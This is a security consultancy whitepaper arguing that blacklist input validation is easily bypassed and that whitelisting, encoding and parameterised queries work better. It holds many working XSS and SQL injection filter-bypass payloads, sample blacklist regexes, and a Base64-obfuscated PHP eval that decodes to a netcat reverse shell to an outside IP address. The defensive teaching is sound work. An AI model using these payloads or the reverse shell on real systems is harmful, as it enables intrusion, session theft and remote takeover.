The disadvantages of a blacklist-based approach to input validation

Prepared by: Nick Dunn, Managing Security Consultant

Table of contents

1. Introduction

Input validation is one of the core tenets of web application defence. Its need arises from the basic nature of modern day web applications, which takes user input from any user and subsequently uses this data to interact with back-end databases and server-side applications. The use of web applications to carry out financial transactions, purchase goods and to sell goods means that security vulnerabilities can have serious financial consequences. In addition, the rise of social media brings further risks of reputational damage on a previously undreamed of scale for both businesses and individuals.

The presence of this external, uncontrolled data in combination with such a huge potential for loss and damage, naturally elevates the importance of input validation. With that in mind, it can be surprising how often the task is carried out in an inconsistent or flawed manner in the real world. In this paper, we look at the relative merits of whitelisting and blacklisting for input validation purposes, and examine the difficulties of carrying out a fully effective blacklisting approach.

Input validation is one of the core tenets of web application defence.

2. Input validation

2.1 Why is input validation so important?

As discussed in the introduction, once user input has been provided to a web application, it may interact with other systems in a number of ways. SQL injection attacks may interact with backend data in an unauthorised manner, while stored XSS attacks may result in unauthorised HTML or JavaScript being written to the server. A successful attack can compromise user accounts, confidential data and in extreme cases, it can result in gaining control of the web server and other machines.

2.2 The place of input validation within network defence & the SDLC

Although we are exclusively discussing input validation, it's important to be aware that this is only part of an effective security posture and the Secure Development Lifecycle (SDLC). Software which handles sensitive data or is expected to have security implications in some other way should be designed and developed with security in mind (by following an SDLC). Input validation will form only a part of the final software product's robustness, albeit a very important part.

This robust software should sit as part of a layered defence where the perimeter is protected by firewalls, VLANs are segregated by robustly-configured routers, internal networks are monitored by an IPS and individual machines are protected by host-based controls such as anti-malware solutions.

To summarise, input validation is not a silver bullet and no security solution should ever act as a potential single point of failure. Input validation should instead be one of many defences employed in unison so as to deliver a defence-in-depth capability.

2.3 Why is blacklisting so common in comparison to whitelisting?

The typical software developer has a lot to contend with. Immediate pressures from development leads, project managers and business users can result in a great deal of pressure to provide a 'user experience' that looks good, fulfils functional requirements for the business and is finished on time. These pressures are all understandable and necessary for a business to function and often result in a focus on business functionality at the expense of security.

The lack of time and training discussed above can result in a thought process which is eventually distilled into: "Okay! I have to identify some bad characters or keywords and block them!" This generally results in an input validation routine which checks user-controlled data for a range of hostile characters and keywords identified by the developer as opposed to checking for a range of allowed characters. The subtle difference in attitudes results in a great deal of differences in practical implementation which we will discuss in this paper.

3. The difficulties of effective blacklisting - A few examples

The core principles of blacklisting and whitelisting are very simple but there are hidden complications and nuances. The primary obstacle is the compilation of an effective list of all characters and keywords which need to be blocked. The difficulties involved in what might appear to be a relatively simple task can be best illustrated with a few examples.

3.1 Front-end scripting & markup languages

The markup and scripting languages which allow web browsers to present formatted content and useful functionality to a user can be abused to carry out cross-site scripting (XSS) attacks. Although primarily associated with JavaScript in the minds of many people, there are a number of other languages open to this type of abuse and, as we'll see below, blacklist-based input validation is problematic for all of them.

3.2 XSS with HTML & JavaScript

Cross-site scripting (XSS) generally results from a failure to effectively segregate input data from the page markup. For instance, a form which allows the user to enter a search term and then displays the results alongside the original search term without sanitisation could be exploited by submitting some JavaScript as the search term. In its simplest form, this could be tested with a URL similar to the following:

www.example.com?search=<script>alert(document.cookie)</script>

In a vulnerable page this would result in the submitted script being embedded in the HTML of the returned page as follows:

```
<br> Sorry! The search term <b><script>alert(document.cookie)</script></b> could
not be found.
<br> Try again with a different spelling or fewer words.
```

This harmless test would result in a JavaScript alert box being presented to the user, showing the current cookies for the web page. The important thing here is that clicking the URL provided by an attacker causes hostile JavaScript to be executed in the user's browser, facilitating session hijacking and a variety of other attacks.

An attempt to use blacklisting as a defence against XSS is likely to involve regular expressions to identify a range of possible characters and keywords that could facilitate an attack. The initial reaction is to attempt to block the <script> tag but this would be based on a flawed understanding of the problem that is being dealt with. HTML provides a number of facilities such as the one below, which must also be defended against:

```
<img src=”.” alt=”” onerror=”alert(‘XSS’)”/>
```

In addition, any usage of the script tag's attributes would present further ways to bypass a blacklist which blocks the <script> tag:

```
<script language=javascript>
<script type=”text/javascript”>
```

An attempt to avoid the issues presented by HTML's ability to execute JavaScript with blacklist-based input validation is generally based either on attempts to block HTML fragments such as <img and <frame or attempts to block problematic characters such as whitespace, quotes and angled braces.

This blacklisting approach carries certain dangers as both HTML and JavaScript are such flexible languages, and are also subject to constant change and innovation. Therefore, an attacker may still find ways to carry out an attack without using the blacklisted characters or character sequences.

The following examples illustrate a small extent of the obfuscation potential of HTML and JavaScript. Note that these are all valid constructions and as the language continues to be extended, new delivery methods for XSS will appear.

Contrary to popular belief, JavaScript and HTML do not require spaces and the following will render without any issues:

```
<img/src=”.”alt=””onerror=”alert(‘XSS’)”/>
```

To further complicate things, quotation marks are not a necessity for string representation:

```
alert(/Resistance is useless!/.source)
```

Note that the previous examples illustrate the ineffectiveness of blocking the more obviously problematic characters. JavaScript provides further potential for obfuscation which can further complicate blacklisting. A readable example of 'classic' JavaScript such as:

```
window.onload = function() { alert("Hello " + username) };
```

can be replaced with:

```
var _0xc5b2=["\x6F\x6E\x6C\x6F\x61\x64",
        "\x48\x65\x6C\x6C\x6F\x20"];window[_0xc5b2[0]]=
    function (){alert(_0xc5b2[1]+username);} ;
```

or with:

```
eval(unescape("var%20_0xc5b2%3D%5B%22onload%22%2C%22Hello%20%22%5D%3Bwindow"+
  "%5B_0xc5b2%5B0%5D%5D%3Dfunction%20%28%29%7Balert%28_0xc5b2%5B1%5D+username"+
  "%29%3B%7D%20%3B"));
```

Based on the above examples, the removal of round braces might seem like a viable defence option. After all, the obfuscated attacks above all use round braces in order to function. This is an unusual defence method but is occasionally found in the wild. Superficially, it might seem like an effective defence against some obfuscation techniques such as using eval to encode malicious JavaScript. As you've probably guessed, this is unlikely to succeed in anything other than slowing down an attacker.

The following test will render and function despite the absence of braces in the code:

```
<a onmouseover='window.onerror=alert;throw 1; '>xxs link</a>
```

This small selection of examples is not intended to be in any way comprehensive but it should have convinced the reader that a blacklist-based defence against XSS is a non-trivial undertaking. We'll look at some constructs that can complicate matters further in the next section before looking at the circumvention of some real life blacklist-based input validation in later sections.

Anyone interested in exploring the subject further is advised to consult the books Hacking Web Apps by Mike Schema and Web Application Obfuscation by Mario Heiderich et al. They provide the fundamental basis for the above examples and explore the subject in greater depth.

3.3 HTML5 & its impact on XSS

If the previous section has left you unconvinced that blacklists can be bypassed, then we'll take a look at HTML5's expansion of the HTML standard and the ways in which its new features can be used to bypass input validation. This bypassing takes two forms. Firstly, the new tags and new attributes provide additional attack vectors which are frequently overlooked in blacklists; and secondly, the new encoding and function definition capabilities can further increase the number of obfuscation techniques.

HTML5 includes the 'srcdoc' attribute for iframes which offers interesting obfuscation possibilities. The attribute can carry HTML text to be rendered by the browser as the contents of the iframe. This pseudo-document has full access to the hosting domain, but in practical terms it runs in its own artificial domain. In an obfuscation context, there are additional possibilities as the 'srcdoc' attribute allows the deployment of a payload that would be deemed safe in other contexts, as shown here. Characters that would be classed as safely encoded for display such as `'<'` are unencoded back into their unsafe form before rendering:

```
<iframe srcdoc="&lt;img src&equals;x:x
onerror&equals;alert&lpar;1&rpar;&gt;" />
```

When previously looking at the various delivery methods for inclusion of JavaScript actions within HTML, you may have noticed that they rely on keywords such as onerror, onload, onclick and onmouseover etc. Any blacklist which blocks strings beginning with 'on' and followed by an' = 'sign will fail to defend against HTML5's formaction keyword which can act as a JavaScript delivery method in HTML5-aware browsers, as shown in the example below:

```
<form id="xsstest"></form><button form="xsstest"
formaction="javascript:alert(1)">Click here if you're desperate for
hardware!</button>
```

As in the previous section, the short look at obfuscation techniques here is only an introduction to the potential difficulties that can arise. Anyone interested in learning more about HTML5 and using its features to test input validation should refer the References section.

3.4 Other scripting languages

When defending against XSS attacks, HTML and JavaScript are not the only languages to take into consideration. VBScript, JScript and E4X can all present delivery mechanisms and are accompanied by their own range of obfuscation techniques and consequent blacklisting difficulties. These languages are largely specific to individual browsers. The primary purpose of this section is to illustrate both the number and the variety of available scripting languages in order to illustrate the difficulties of blocking all known bad input and to show how a JavaScript and HTML orientated blacklist may be bypassed within certain browser types.

VBScript was introduced in the late 1990s as a feature of IE3. While there is some overlap with JavaScript in terms of function names, the syntax is different enough to render a JavaScript-oriented blacklist redundant. In addition, it has an encoding system which can be used for obfuscation and an 'execScript' function which can be used in a similar manner to JavaScript's 'eval' function but can specify its execution language as VBScript or JScript.

In addition, the VB-style syntax can assist in bypassing keyword checks. While there aren't many actual attacks that require an alert box, VBScript has other functions that are useful in a genuine attack which needs to bypass a keyword blacklist:

```
<img src='vbscript:msgbox("XSS")'>
```

Jscript is a scripting language that runs in the presence of ASP, IE or Windows Script Host. It is syntactically very similar to JavaScript and, like VBScript, has an 'execScript' function which can be used to call VBScript for further obfuscation purposes (see the References section). Its origins lie in the first Browser Wars when a scripting language for IE which complied with the JavaScript standard was needed. It has been alleged by some commentators that Microsoft implemented the standard and merely gave it a different name to avoid trademark issues (see references).

As such it can be considered a superset of JavaScript combining the obfuscation abilities of JavaScript and VBScript in the same language.

E4X is now deprecated but is supported in older versions of Firefox. It allows XML data to be embedded within JavaScript, with all the obfuscation repercussions that this implies. Its prime features in relation to bypassing blacklists are keyword avoidance, double encoding and the use of syntax that bears little resemblance to conventional JavaScript.

As the example below shows, the syntactic differences can allow code execution without any need for angled or square braces:

```
default xml namespace = alert(document.cookie)
```

The following two examples show how E4X can be used to bypass keyword blacklists by executing blocks which return blank strings. The resultant blank strings from {new array} are concatenated into the JavaScript immediately before execution:

```
target = javascr{new Array}ipt:aler{new Array}t(document.cookie)
target = javascr{[]}ipt:aler{[]}t(document.cookie)
```

As you have possibly guessed, attempting to blacklist {new array} would be futile as a number of expressions which evaluate to an empty string exist. The following list shows some strings but many more are possible:

```
{new String}
{''}
{<>}
```

The main point here is that a blacklist which works in Opera and Chrome may not work in IE or Firefox. Furthermore, the coding and testing burden required to prevent script execution with blacklisting can become a non-trivial undertaking when compared with whitelisting. The dangers of using older browsers are also highlighted by the range of deprecated languages available in legacy versions.

This should have helped to convince you that compiling a full range of bad inputs is a much more daunting task than only allowing the good inputs. Anyone interested in exploring the subject further is advised to consult the book Web Application Obfuscation by Mario Heiderich et al. It provides a more detailed discussion of these languages and their obfuscation.

3.5 The importance of browser types

In the distant past, a website would be tested to check that it worked in both Internet Explorer (IE) and Netscape Navigator. As Netscape Navigator's popularity faded, sites were tested in IE only, while users of Opera would just be told to use the recommended browser, which was invariably IE, whenever they had problems. Moving on to the present, the variety of browsers available not only complicates things for front-end web developers, it also introduces a number of attack payloads.

As discussed in the previous section covering other scripting languages, there are a number of browser-specific scripting languages such as VBScript, JScript and E4X which present syntax variations for common browsers. Additional browser parsing quirks (or functionality, depending on your point of view) can also bypass blacklisting attempts. For instance, some older versions of IE will correctly render a JavaScript tag that is split across multiple lines:

```
style=”background:url(‘java
script:eval( ...
```

This may seem of limited relevance but many large organisations use legacy versions of Windows and IE in order to support core applications that do not function correctly on the newer versions.

Additionally, for anyone prepared to travel even further back in time, in IE6 and IE7 the null character can prevent recognition of blacklisted tags without preventing them from being rendered:

```
<%00script>alert(1)</%00script>
```

In Opera versions 10.5 and above, it's possible to use the 'poster' attribute in combination with JavaScript URIs. This bug has been fixed in Opera versions 11 and above. With so many other input validation avoidance techniques, the likelihood of success lies in its obscurity although the target browser has limited market share:

```
<video poster=javascript:alert(1)//></video>
```

Different browsers can have different responses to character encoding. Taking the earlier example of a blacklist which removes round braces, it's possible to use IE's hex encoding as a bypass mechanism. The following proof of concept can be used in IE to demonstrate execution of JavaScript that bypasses the blacklist:

```
<div style=position:absolute;left:0;top:0;width:9999px;height:9999px;
onmouseover=alert&#x28;1&#x29; >
```

The birth of IE 11 gave the world a Microsoft browser that no longer supports VBScript out of the box and its use is now deprecated. However, IE3 to IE10 support VBScript and so present further complications in regard to input validation.

This is of particular relevance to large organisations which have a controlled upgrade cycle and have older versions of Windows and/or IE in place, often in order to support critical legacy software. The use of VBScript and its infamous 'execScript' tag to bypass keyword blacklists has been discussed earlier but the following example shows VBScript's different enclosing tags and its syntactic differences from JavaScript:

```
<script language=vbs>alert+1</script>
```

There are a few things to note in regard to this example. Firstly, the <script language=vbs> tag bypasses the more obvious blacklist check for <script>. Secondly, the VBScript command

‘alert+1’ bypasses blacklist checks for round braces. VBScript allows functions to be called without braces like earlier versions of Visual Basic.

If this was not bad enough, VBScript’s reduced sandbox restrictions in comparison to JavaScript, and its functions to interact directly with Windows, mean that any system under attack is heavily reliant on browser security settings to avoid disaster.

In conclusion, a development or test process for blacklist-based validation that fails to take account of certain browser types and their behaviours, potentially ignoring the less obvious attacks or browsers with a smaller market share, will place users at risk of compromise.

3.6 Server-side processing

In the previous sections, we witnessed a number of attack types that take advantage of situations where data and scripting are mixed when shown in the browser. The processing of data in a similar way with server-side languages can also have security consequences, but usually with different results and generally with much more serious consequences. In this section, we’ll look at the difficulties of using blacklisting to protect against attacks which attempt to break out from SQL and PHP operations.

3.7 SQL injection

Before discussing SQL injection any further, it’s best to start by stating that the primary defence against SQL injection should always be the parameterisation of queries in preference to the use of dynamic SQL statements. Wherever possible, the type of dynamic SQL statements shown here should be avoided. That said, let’s take a look at the difficulty of defending these statements using a blacklist-based defence.

The classic example of SQL injection is the insertion of a user-controlled variable into a dynamic SQL statement similar to the example below:

```
query = “SELECT product, price, date FROM orders WHERE id = ‘” + prod_id + “’;”
```

If an attacker submits a value for `prod_id` containing SQL characters, then there is some potential for breaking the logic of the statement to obtain data without authorisation and in some cases to modify or delete data without authorisation.

In the above example an attacker supplying a value of `123’ OR 1=1;--` would receive a list of the entire content of the table as the final query would look like this:

```
SELECT product, price, date FROM orders WHERE id = ‘123’ OR 1=1;--’;
```

Note that the attacker has been able to close the quotes and modify the WHERE clause to include a condition which always evaluates as true (1=1). The semi-colon and double dash terminates the statement and comments out of the remainder of the line, resulting in a well-formed SQL statement.

The prevalence of this type of simple example in developer training results in a widespread use of defences which remove or replace the most commonly used characters in SQL injection attacks. Data validation which removes whitespace, single quotes, the ‘=’ sign, the semi-colon or a double-dash will stop the most obvious attacks and may even fool some automated scanners. There are, as you may have guessed, a number of techniques for bypassing simple blacklist protections such as these.

Whitespace can easily be avoided in SQL in a number of ways. The following four examples show equivalent statements which avoid the need for whitespace by using lesser-known

oddities of the SQL interpreter. Firstly, and possibly the best known technique, a comment will be treated as whitespace by a SQL interpreter:

```
SELECT/**/*/**/FROM/**/users/**/WHERE/**/userid=’admin’;--
```

Secondly, there’s no need for a space between the ‘*’ character and keywords:

```
SELECT*FROM/**/users/**/WHERE/**/userid=’admin’;--
```

Finally the keywords can be separated from the table names and column names using either square braces or round braces instead of whitespace:

```
SELECT[password]FROM[users]WHERE[userid]=’admin’;--
SELECT(password)FROM(users)WHERE(userid)=’admin’;--
```

From this we can see that attempts at blacklisting whitespace characters as a defence is likely to be ineffective in a number of situations. To further obstruct blacklisting attempts as a SQL injection defence, single quotes are not necessary and a hex representation of the characters can be used:

```
SELECT * FROM users WHERE userid=0x61646D696E;--
```

Finally, just to emphasise the difficulties involved in using a blacklisting approach, any attempt to defend against SQL injection by blocking a combination of whitespace, single quotes and/or the ‘=’ sign fails to defend against the following approaches:

```
SELECT*FROM(users)WHERE(userid)LIKE(0x61646D696E);--
SELECT*FROM(users)WHERE(userid)IN(SELECT((0x61646D696E));--
```

Once again, the difficulties are clear. Although the initial list of problematic characters may have seemed small, it rapidly expanded to a longer and less manageable list. As with JavaScript examples earlier, the flexibility of SQL presents serious obstacles to blacklisting attempts.

3.8 PHP

Like JavaScript, PHP has functionality that allows Base64 encoding and the evaluation or execution of strings which can be used for attack purposes, in order to bypass primitive blacklists. The following fragment can be used to bypass a blacklist checking for use of netcat:

```
{${eval(base64_decode('bmMgLWUgL2Jpbi9zaCA5NS45NS4xLjExMiA0NDM='))}}
```

The Base64 text, above, decodes to the following, which would be run from the command line by the ‘eval’ statement:

```
nc -e /bin/sh 95.95.1.112 443
```

As in previous discussions above, simply blacklisting ‘base64_decode’ limits the number of attacks but does not prevent them. PHP offers a number of other decoding functions, including UTF-8 decoding and URL decoding, as well as other obfuscation functions such as ROT13.

3.9 Other considerations

The ‘Anti-XSS’ features of ASP.NET provides a defence against a number of common XSS attack patterns. It will throw a HTTP 500 error and the feature is at its most visible when no input validation is present and .NET errors, where it presents a .NET default error warning to the user. This does, of course, present its own security issues in terms of information disclosure.

While the feature provides a considerable amount of protection, it is not completely faultless and a small number of attacks exist that can bypass the feature, although the number is continually

shrinking as the feature evolves and improves over time. Some interesting work by Soroush Dalili in this area is listed in the references.

In some circumstances, the use of Unicode offers a way of bypassing the default Anti-XSS' input validation. Some Unicode characters are converted to ASCII characters by MS SQL Server, when stored. As a result, characters which would normally have been blocked by input validation can be stored in a back-end database and may be written back to the page in order to carry out an attack.

In addition, a failure to specify the encoding type can cause further issues. UTF-8 characters can also be converted to ASCII characters and so an encoding such as '%u3008' can be used in place of '<' in order to bypass an XSS blacklist.

3.10 Blacklisting vs whitelisting

The examples above have illustrated the difficulties involved in attempting to identify every possible attack construct for each individual language or attack vector. By this point you should, hopefully, have been convinced of the inherent difficulties involved in building a comprehensive and effective blacklist.

The discussion should also have increased your concern about the amount of development and test time involved in devising filters or regular expressions for every possible situation. In order to defend against such a wide range of attacks facing a typical web application, whitelist-based input validation is generally more effective in the majority of situations and has the added benefit of cleaner code, less development and test time, along with reduced maintenance effort.

It's important to be aware that the ongoing development and ever-increasing new features of HTML and JavaScript often mean that even very effective blacklisting is more likely to slow down an attacker than to completely prevent an attack from succeeding.

4. Input validation in reality

The previous section examined how some theoretical test strings could be obfuscated beyond recognition but now it's time to look at how this works in practice. As Yogi Berra once said, "In theory there's no difference between theory and practice, but in practice there is."

In the spirit of the man who was smarter than the average baseball coach, let's take a look at some real world situations to see how blacklisting failed to prevent determined attackers.

4.1 Some examples of blacklisting going horribly wrong

The following are all loosely based on real life examples that have been seen in use, either on customer-facing web applications or on a staff intranet. Note that the examples have undergone modification and redaction for purposes of confidentiality.

4.2 A blacklist that only blocks the obvious XSS attempts

Let's look at an XSS sanitisation routine intended to block a number of well-known XSS patterns. Unfortunately, this routine relies on regex patterns which have limited effectiveness in handling the less common attack patterns. The routine operates on a blacklist basis and the patterns that it blocks can be easily avoided using JavaScript's flexibility and its ability to obfuscate code, in the manner we discussed earlier.

The approach involves the removal of dangerous text such as '<script>' from user input and the encoding of some characters such as '<'. This is based on a range of regular expressions which cover several eventualities but are by no means exhaustive:

```
simple_regex = "(<\s*script.*?>.*?(<\s*/\s*script\s*>)|(<\s*script.*?>)";
example_img_regex_1 =
"(<\s*img.[^>]*?src\s*=.[^>]*?script\s*:.*?>|<\s*img.[^>]*?src\s*=.[^>]*?script\s
*:)";
example_img_regex_2 =
"(<\s*img.[^>]*?src\s*=.[^>]*?&\x23.*?>|<\s*img.[^>]*?src\s*=.[^>]*?&\x23.*?\s)";
simple_frame_regex =
"(<\s*frameset.*?>.*?<\s*/\s*frameset\s*>|<\s*frameset.*?>)";
example_frame_regex = "(<\s*frame.*?>.*?<\s*/\s*frame\s*>|<\s*frame.*?>)";
```

If you're not familiar with regexes, the above will trap <script> tags with or without whitespace padding, regardless of the inclusion or exclusion of a language attribute. The following would all be blocked:

```
<script language=javascript>alert(document.cookie);</script>
<script >alert(document.cookie);</script >
<script language=vbs>alert+1</script>
<img src="." alt="" onerror=" alert(document.cookie)"/>
```

When it comes to bypassing the validation, the first thing to note is that all of the regexes are case-sensitive, which means that the entire blacklist can be trivially bypassed by using upper case or mixed case tags. Both of the following attacks would be successful:

```
<SCRIPT>alert(document.cookie);</SCRIPT>
<sCriPt>alert(document.cookie);</scRIPt>
```

A quirk of HTML syntax which allows the tag name to be separated from its attributes using a slash instead of a space, provides another method of circumvention. The following attack would bypass the blacklist due to the lack of spaces and presence of the forward slash:

```
<img/src="."alt=""onerror="alert(document.cookie)"/>
```

In addition to the issues of case and syntax, the range of attack vectors covered by the above code is fairly basic, and a number of other JavaScript functions could be used to bypass the validation and carry out an attack:

```
<a onmouseover=alert(document.cookie)>xxs link</a>
<iframe src="javascript:alert(1);"></iframe>
```

4.3 The importance of recursion

Additionally, consider a situation where the routine discussed above makes only a single pass through the input and does not check the resulting 'cleaned' string. This would allow a type of 'embedded' attack where the target strings which are going to be removed disguise the final payload.

For example, this means that the attack would begin with the submission of the following attack string. The text shown in bold will be identified by the regex on the first, and only, pass through the string and will be removed:

```
<scr<script>a</script>ipt>alert(document.cookie);</scr<script>a</script>ipt>
```

This results in each occurrence of the following string being stripped out:

```
<script>a</script>
```

The act of cleaning would leave this string as the final submission:

```
<script>alert(document.cookie);</script>
```

Ironically, the act of 'cleaning' the attack string has modified a mess of invalid script into a valid, working piece of JavaScript that executes in the browser.

4.4 Adding to the blacklist each time a test shows a new attack type

In some cases, applications that were originally written with a basic blacklist, similar to the blacklist above in section 4.1.1, which have then received periodic updates for each new and successful attack, have been encountered on test engagements.

The original countermeasure of removing certain JavaScript tags, such as '<script>' and '<img>', was later augmented with additional countermeasures, when security testing and real-world attacks circumvented the original basic blacklist. The modified approach involved the removal of dangerous text such as "onerror" from user input and replacing some characters such as "(" and "{" with "[".

The approach of replacing "(" and "{" with "[" was presumably carried out for the purpose of preventing attacks, while still allowing a user to include braces in freeform text. In this particular case it allowed an attack to be carried out in IE, which relied on square braces.

The final issue with this ongoing blacklist expansion is the development time needed. Over an extended period of time, the cumulative development and testing time spent upon implementing and testing each new regex presumably became many times greater than the one-off investment in the time to develop and implement a single whitelist-based function.

4.5 A flawed attempt to prevent SQL injection

The use of ';--' to enforce early termination of a statement in the overwhelming majority of textbook examples might cause a misunderstanding that a simple but effective defence is to replace ';--' with an empty string, as follows:

```
user_input.replace(";--", "")
```

While this is a trivial example it illustrates two things. Firstly, it demonstrates that a lack of security training or guidance can result in bad decisions being made by developers. This can result in insecure code which the developers believe to be secure. This false sense of security can be more dangerous than an awareness that potential problems exist.

Secondly, this defence not only fails to prevent the SQL injection attacks that developers were unaware of, it also fails to prevent the type of attack that it is mistakenly attempting to eliminate. Let's go back to our classic example of SQL injection from earlier, which depended on the insertion of a user-controlled variable into a dynamic SQL statement:

```
query = "SELECT product, price, date FROM orders WHERE id = '" + prod_id + "';"
```

The defence does indeed prevent the simple example an attacker supplying a value of `123' OR 1=1;--` and the attack shown at the start of our discussion of SQL injection would no longer work:

```
SELECT product, price, date FROM orders WHERE id = '123' OR 1=1;--';
```

The highlighted section above would be removed leaving the invalid statement below which would fail due to the extraneous single quote:

```
SELECT product, price, date FROM orders WHERE id = '123' OR 1=1';
```

However, an attacker supplying a value of "`123' OR 'a'='a`" would still be able to carry out a successful attack and obtain all values:

```
SELECT product, price, date FROM orders WHERE id = '123' OR 'a'='a';
```

While this illustrates our point that a type or format of attack that the developers have failed to anticipate is successful, it may also have occurred to you that the original attack is still possible if whitespace is present between the semi-colon and the comment symbol. i.e. ';--'will be blocked but '; --' (with a space) will not.

5. Conclusion

5.1 Why is this important?

This paper is intended as an introduction to the difficulties inherent in blacklist-based input validation rather than an exhaustive list. We've barely scratched the surface of what is possible, both in terms of obfuscation techniques and the range of scripting languages that need to be defended against. Anyone with an interest in learning more about obfuscation or looking for practical examples to help bypass a WAF or blacklist should consult the references.

The first point to take away from this discussion is that seemingly exhaustive blacklists can be bypassed with a little knowledge and creativity and that a whitelist-based approach will be more successful in defending web applications. The second is that compiling and maintaining a blacklist can result in far more work and more mistakes over an extended period of time.

5.2 What should I do next?

We have discussed a number of important things in previous sections and anyone interested in improving their web application defences is advised to follow these guidelines:

Do **not**:

1. Use this guide as a way to improve an existing blacklist.
2. Use only whitelist-based input validation and take no other security precautions in a belief that everything is now secure.

Do:

1. Implement effective whitelist-based input validation as part of an SDLC to develop robust software.
2. Validate any and all user input before usage.
3. Ensure that any sanitisation is recursive. This is necessary in order to prevent the removal of strings on the first pass resulting in a valid attack string.
4. Safely encode any output which is derived from user-controlled values.
5. Test all input validation thoroughly.
    a. Use the material in the References section or hire an experienced professional to assist in this.
    b. Ensure that the test process identifies suspect blacklist-based methods and that a suitable variety of test strings are used to identify any circumvention methods.
6. Deploy robust software as part of a wider plan which includes carefully planned Layered Defence and Defence in Depth (see References for an explanation of the distinction between the two).

5.3 My application requires special characters within the user input. What should I do?

There is clearly a very good case for using the whitelisting approach in a situation where user input fits well defined and narrow boundaries. For example, any input value for credit cards and telephone numbers will require numeric characters and potentially spaces.

Unfortunately, the situation becomes more complex, and the amount of work involved grows considerably when user input *has to* include the same characters as those which would facilitate code injection. In the case of a web application which requires a user to enter their surname there is a clear case for whitelisting. The field will need alphabetic characters along with the potentially problematic space, hyphen and single quote characters.

As a simple example, let's look at a staff intranet which has a notice board section, with 'Items Wanted' and 'Items for Sale' pages. In the interests of usability, these pages would require the use of characters such as '<', '>', '&', '=', '+' and '-', in order to allow users to enter price ranges and descriptions. A particularly charitable developer might even go so far as allowing staff to use semi-colons in the interests of good grammar.

A set of requirements such as these may look like blacklisting is preferable but it's important to bear in mind the earlier discussions about both the number of characters that need to be blacklisted and the comparatively greater development time involved in blacklisting.

These sort of requirements are an example of a situation requiring both validation and sanitisation. In a situation where there is no choice, other than to whitelist characters that can be abused as part of an XSS or similar scripting attack, then the risks can be reduced with sanitisation, whereby the characters are safely encoded.

Web input sanitisation can take the form of removing, encoding or replacing any characters identified as dangerous. In this case, the necessity of displaying a group of potentially dangerous characters, within pages built from user input, means that the type of outright blocking or removal, discussed in previous examples, is not suitable, and replacing the characters is not viable either. The preferred solution would be to encode user input, preferably using built-in features of the language or framework in use, such as PHP's 'FILTER_SANITIZE_SPECIAL_CHARS' feature. Once encoded, potentially dangerous characters, such as '<' and '>', are safely encoded as '<' and '>', ensuring that the browser interprets the data rather than the code.

6. References & further reading

We've discussed the issues at a very high level here in order to highlight general concepts and illustrate potential dangers. The following references provide further details for anyone wishing to learn more.

6.1 Books

Web Application Obfuscation

Mario Heiderich et Al

This is the definitive reference for anyone interested in testing a web application's input validation, bypassing input validation or creating obfuscated script-based attacks. The number of languages and attack types covered in the book is much more comprehensive than the majority of web application hacking books.

Hacking Web Apps

Mike Shema

This is a concise guide to the more common (and more serious) web security issues. The sections on SQL injection and cross-site scripting contain guidelines on bypassing 'naïve defences' that provide some interesting ideas for bypassing blacklists.

The Web Hackers Handbook

Marcus Pinto and Dafydd Stuttard

The classic guide to web application testing and defence covers all aspects of web application security testing, including bypassing input validation.

6.2 Websites

HTML5 obfuscation

As discussed earlier, HTML 5 provides a number of opportunities for the creative attacker. More information is available here:

https://html5sec.org/

E4X obfuscation techniques

http://www.thespanner.co.uk/2008/09/07/e4x-for-hackers/

JScript

https://en.wikipedia.org/wiki/JScript

https://msdn.microsoft.com/en-us/library/vstudio/3bf5fs13%28v=vs.100%29.aspx

ASP.NET request validation bypass

A discussion of ASP.NET request validation bypasses by Soroush Dalili:

https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2017/september/rare-aspnet-request-validation-bypass-using-request-encoding/

OWASP

The page is a bit dated if the references to Netscape Navigator are anything to go by, but it provides a good overview of techniques, particularly for older browsers.

https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet

Cure 53 XSS challenges

A set of challenges that invite the user to try creative solutions in order to bypass web input blacklists:

https://github.com/cure53/XSSChallengeWiki/wiki

Layered defence & defence in depth

If the discussion of layered defence and defence in depth has left you wanting to learn more about how to build effective defences and create a suitably strong security posture then the following links will provide more information.

NSA – Defence in depth

http://www.nsa.gov/ia/_files/support/defenseindepth.pdf

NIST – Managing information security risk

http://csrc.nist.gov/publications/nistpubs/800-39/SP800-39-final.pdf

Building a unified approach to security

http://technet.microsoft.com/en-gb/magazine/2006.05.behindthescenes.aspx

Layered defence

http://publib.boulder.ibm.com/infocenter/iseries/v5r3/index.jsp?topic=%2Frzaj4%2Frzaj4rzaj40a0internetsecurity.htm

Understanding layered security & defence in depth

http://www.techrepublic.com/blog/it-security/understanding-layered-security-and-defense-in-depth/

Defence in depth & layered security

http://www.personal.psu.edu/users//d/h/dhl5025/Assignment5.html

Wikipedia

http://en.wikipedia.org/wiki/Layered_security

About NCC Group

NCC Group is a global expert in cyber security and risk mitigation, working with businesses to protect their brand, value and reputation against the ever-evolving threat landscape.

With our knowledge, experience and global footprint, we are best placed to help businesses identify, assess, mitigate & respond to the risks they face.

We are passionate about making the Internet safer and revolutionising the way in which organisations think about cyber security.

Headquartered in Manchester, UK, with over 35 offices across the world, NCC Group employs more than 2,000 people and is a trusted advisor to 15,000 clients worldwide.